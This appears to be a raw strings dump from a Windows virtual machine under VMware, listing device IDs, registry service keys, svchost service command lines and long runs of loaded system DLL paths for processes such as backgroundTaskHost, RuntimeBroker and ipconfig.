SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01\5&260e6d66&0&010000 \DEVICE\{E33FA66E-DBEC-40A2-8AA4-E7C085F48539} \??\ROOT#BasicRender#0000#{1ca05180-a699-450a-9a0c-de4fbe3ddd89} \??\ROOT#BasicRender#0000#{1024e4c9-47c9-48d3-b4a8-f9df78523b53} \Registry\Machine\System\CurrentControlSet\Services\rdyboost\StoreInfo \Registry\Machine\System\CurrentControlSet\Services\Mup\Parameters STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000D900000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#000000000C900000 SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD01\5&260e6d66&0&010000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000000100000 STORAGE\Volume\{67e8be39-0ec0-11f1-b1f7-806e6f6e6963}#0000000ECFD00000 \??\ROOT#BasicDisplay#0000#{1024e4c9-47c9-48d3-b4a8-f9df78523b53} \??\ROOT#BasicDisplay#0000#{1ca05180-a699-450a-9a0c-de4fbe3ddd89} SyncRes.dll.mui \Registry\Machine\System\CurrentControlSet\Services\atapi 0000000000001800 0.L0M4.MEM3._STA PCIIDE\IDEChannel\4&23686003&0&1 PCIIDE\IDEChannel\4&23686003&0&0 1.L0M6.M \FileSystem\RAW \FileSystem\srvnet StorSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p StorSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p AppXSvc C:\WINDOWS\system32\svchost.exe -k wsappx -p ISTp ImmersiveShellAndTaskbar cbdhsvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p cbdhsvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p cbdhsvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k ClipboardSvcGroup -p Null \RE~ WdiSystemHost WdiSystemHost C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p WdiSystemHost C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p ImmersiveShellAndTaskbar iflp PcaSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p PcaSvc C:\WINDOWS\System32\svchost.exe -k LocalSystemNetworkRestricted -p UdkUserSvc_3f7d0 None None Null UdkUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup UdkUserSvc_3f7d0 C:\WINDOWS\system32\svchost.exe -k UdkSvcGroup wlidsvc C:\WINDOWS\system32\svchost.exe -k netsvcs -p PostStartMenu StartMenuShown PrelaunchAtLogon DesktopApiSurface TaskbarApiSurface SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p TaskbarApiSurface SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p SSDPSRV C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p Null Y\Mn lfsvc lfsvc C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p lfsvc C:\WINDOWS\system32\svchost.exe -k netsvcsRedirectionGuard -p StartMenuShown NotifyApiSurfaceReady NotifyApiSurfaceReady RestartSavedApps RestartSavedApps WaitForDesktopVisuals TermSrv TermSrv SignalDesktopSwitch AfterDesktopSwitch DesktopFinalTasks FinalTasks midisrv C:\WINDOWS\system32\midisrv.exe midisrv C:\WINDOWS\system32\midisrv.exe DesktopFinalTasks AfterDesktopSwitch DesktopStartupApps midisrv None None Null !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_A !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B !SWD\MIDISRV\MIDIU_DIAG_LOOPBACK_B Null wmiApSrv wmiApSrv C:\WINDOWS\system32\wbem\WmiApSrv.exe wmiApSrv C:\WINDOWS\system32\wbem\WmiApSrv.exe SWD\MIDISRV\MIDIU_LOOP_TRANSPORT SWD\MIDISRV\MIDIU_LOOP_TRANSPORT SWD\MIDISRV\MIDIU_APP_TRANSPORT SWD\MIDISRV\MIDIU_APP_TRANSPORT WinDefend "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe" Null WdNisSvc WdNisSvc "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe" BDESVC C:\WINDOWS\system32\svchost.exe -k netsvcs -p BDESVC C:\WINDOWS\system32\svchost.exe -k netsvcs -p BDESVC C:\WINDOWS\system32\svchost.exe -k netsvcs -p BDESVC C:\WINDOWS\system32\svchost.exe -k netsvcs -p SecurityHealthSystray.exe SecurityHealthService C:\WINDOWS\system32\SecurityHealthService.exe SecurityHealthService C:\WINDOWS\system32\SecurityHealthService.exe SecurityHealthService C:\WINDOWS\system32\SecurityHealthService.exe SecurityHealthService C:\WINDOWS\system32\SecurityHealthService.exe SecurityHealthSystray.exe vmtoolsd.exe" -n vmusr Sustained Performance High Performance Burst System Constrained Performance Volume System WIN://SCMUserService ACPI\FixedButton\2&daba3ff&0 ACPI\PNP0A03\2&daba3ff&0 \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll:WofCompressedData \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\threadpoolwinrt.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.SystemEventsBroker.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\System32\OneSettingsClient.dll \Device\HarddiskVolume3\Windows\System32\OneSettingsClient.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\OneSettingsClient.dll \Device\HarddiskVolume3\Windows\System32\OneSettingsClient.dll \Device\HarddiskVolume3\Windows\System32\OneSettingsClient.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll \Device\HarddiskVolume3\Windows\System32\wbem\NCProv.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe::$EA \Device\HarddiskVolume3\Windows\SysWOW64\wbem\WmiPrvSE.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\SysWOW64\ntdll.dll \Device\HarddiskVolume3\Windows\SysWOW64\ncobjapi.dll \Device\HarddiskVolume3\Windows\SysWOW64\ncobjapi.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\esscli.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\esscli.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SysWOW64\wbem\stdprov.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\stdprov.dll:WofCompressedData @ind \Device\HarddiskVolume3\Windows\SysWOW64\ncobjapi.dll::$EA \Device\HarddiskVolume3\Windows\SysWOW64\ncobjapi.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbemcomn.dll \Device\HarddiskVolume3\Windows\SysWOW64\kernel.appcore.dll \Device\HarddiskVolume3\Windows\SysWOW64\clbcatq.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\wbemprox.dll \Device\HarddiskVolume3\Windows\SysWOW64\oleaut32.dll \Device\HarddiskVolume3\Windows\SysWOW64\amsi.dll \Device\HarddiskVolume3\Windows\SysWOW64\userenv.dll \Device\HarddiskVolume3\Windows\SysWOW64\ole32.dll \Device\HarddiskVolume3\Windows\SysWOW64\version.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\esscli.dll \Device\HarddiskVolume3\Windows\SysWOW64\wbem\en-US ;al\ \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex:WofCompressedData \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:Global.RulesEngine.AppXgphnekvm0vv49drvfehh4b6kyf6ckafp.mca MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Global.RulesEngine e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:WebExperienceHost.AppXt2rk6m02ana976jna04hdq35jfnzy7f7.mca MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy WebExperienceHost \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\ContentDeliveryManager.Background.dll \Device\HarddiskVolume3\Windows\System32\Windows.Services.TargetedContent.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.SystemEventsBroker.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\Windows.Storage.ApplicationData.dll \Device\HarddiskVolume3\Windows\System32\NotificationControllerPS.dll \Device\HarddiskVolume3\Windows\System32\ContentDeliveryManager.Utilities.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\threadpoolwinrt.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\slc.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\sspicli.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\msvcrt.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll \Device\HarddiskVolume3\Windows\System32\combase.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\System32\ntdll.dll e"C:\WINDOWS\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\rpcrt4.dll JpN0 \Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\twinapi.appcore.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\SHCore.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\imm32.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\MrmCoreR.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryClient.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\BCP47mrm.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\System32\wincorlib.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\WebExperienceHost.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\WebExperienceHost.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\shell32.dll &36 \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\msvcp140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\RulesEngine.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\RulesEngine.dll:WofCompressedData \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\RulesEngine.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\RulesEngine.dll \Device\HarddiskVolume3\Windows\System32\biwinrt.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\RulesEngine.dll \Device\HarddiskVolume3\Windows\System32\oleaut32.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\msvcp140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\WebExperienceHost.dll:WofCompressedData \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\vcruntime140_app.dll \Device\HarddiskVolume3\Windows\System32\policymanager.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\userenv.dll \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml Ff^W \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxBlockMap.xml \Device\HarddiskVolume3\Windows\System32\imagehlp.dll \Device\HarddiskVolume3\Windows\System32\AppXDeploymentClient.dll \Device\HarddiskVolume3\Windows\System32\imagehlp.dll \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\IrisService.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.Http.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.Http.dll \Device\HarddiskVolume3\Windows\System32\Windows.Web.dll \Device\HarddiskVolume3\Windows\System32\ShellCommonCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\powrprof.dll \Device\HarddiskVolume3\Windows\System32\umpdc.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\clbcatq.dll \Device\HarddiskVolume3\Windows\System32\Windows.Globalization.dll \Device\HarddiskVolume3\Windows\System32\windowsudk.shellcommon.dll \Device\HarddiskVolume3\Windows\System32\WinTypes.dll \Device\HarddiskVolume3\Windows\System32\ShellCommonCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\Windows.System.UserProfile.DiagnosticsSettings.dll \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll \Device\HarddiskVolume3\Windows\System32\iertutil.dll \Device\HarddiskVolume3\Windows\System32\advapi32.dll \Device\HarddiskVolume3\Windows\System32\srvcli.dll \Device\HarddiskVolume3\Windows\System32\netutils.dll \Device\HarddiskVolume3\Windows\System32\OneCoreCommonProxyStub.dll \Device\HarddiskVolume3\Windows\System32\usermgrcli.dll \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\System32\SystemSettings.DataModel.dll \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll \Device\HarddiskVolume3\Windows\System32\ws2_32.dll ,>@c \Device\HarddiskVolume3\Windows\System32\OnDemandConnRouteHelper.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\FirewallAPI.dll \Device\HarddiskVolume3\Windows\System32\fwbase.dll \Device\HarddiskVolume3\Windows\System32\profext.dll \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\shlwapi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCookies \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCache\container.dat \Device\HarddiskVolume3\Windows\System32\winnsi.dll \Device\HarddiskVolume3\Windows\System32\nsi.dll \Device\HarddiskVolume3\Windows\System32\crypt32.dll \Device\HarddiskVolume3\Windows\System32\msasn1.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCookies\ESE\container.dat \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Device\HarddiskVolume3\Windows\System32\rasadhlp.dll \Device\HarddiskVolume3\Windows\System32\FWPUCLNT.DLL \Device\HarddiskVolume3\Windows\System32\schannel.dll \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Windows\Globalization\ELS\SpellDictionaries\MsSp7en-US.lex \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Device\HarddiskVolume3\Windows\System32\ipconfig.exe:WofCompressedData e\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 \Device\HarddiskVolume3\Windows\System32\conhost.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\user32.dll \Device\HarddiskVolume3\Windows\System32\win32u.dll \Device\HarddiskVolume3\Windows\System32\gdi32.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll Console Driver Message IO Thread Rendering Output Thread \Device\HarddiskVolume3\Windows\System32\ucrtbase.dll \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Device\HarddiskVolume3\Windows\System32\ipconfig.exe \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Device\HarddiskVolume3\Windows\System32\en-US\ipconfig.exe.mui \Device\HarddiskVolume3\Windows\System32\en-US\ipconfig.exe.mui:WofCompressedData \Device\HarddiskVolume3\Windows\System32\kernel32.dll \Device\HarddiskVolume3\Windows\System32\KernelBase.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \Device\HarddiskVolume3\Windows\System32\dhcpcsvc.dll \Device\HarddiskVolume3\Windows\System32\sechost.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\sxs.dll ?>Cad \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\cmd.exe \Device\HarddiskVolume3\Windows\System32\srpapi.dll \Device\HarddiskVolume3\Windows\System32\appidapi.dll \Device\HarddiskVolume3\Windows\System32\cmdext.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\wldp.dll \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\msvcp_win.dll \Device\HarddiskVolume3\Windows\System32\gdi32full.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll 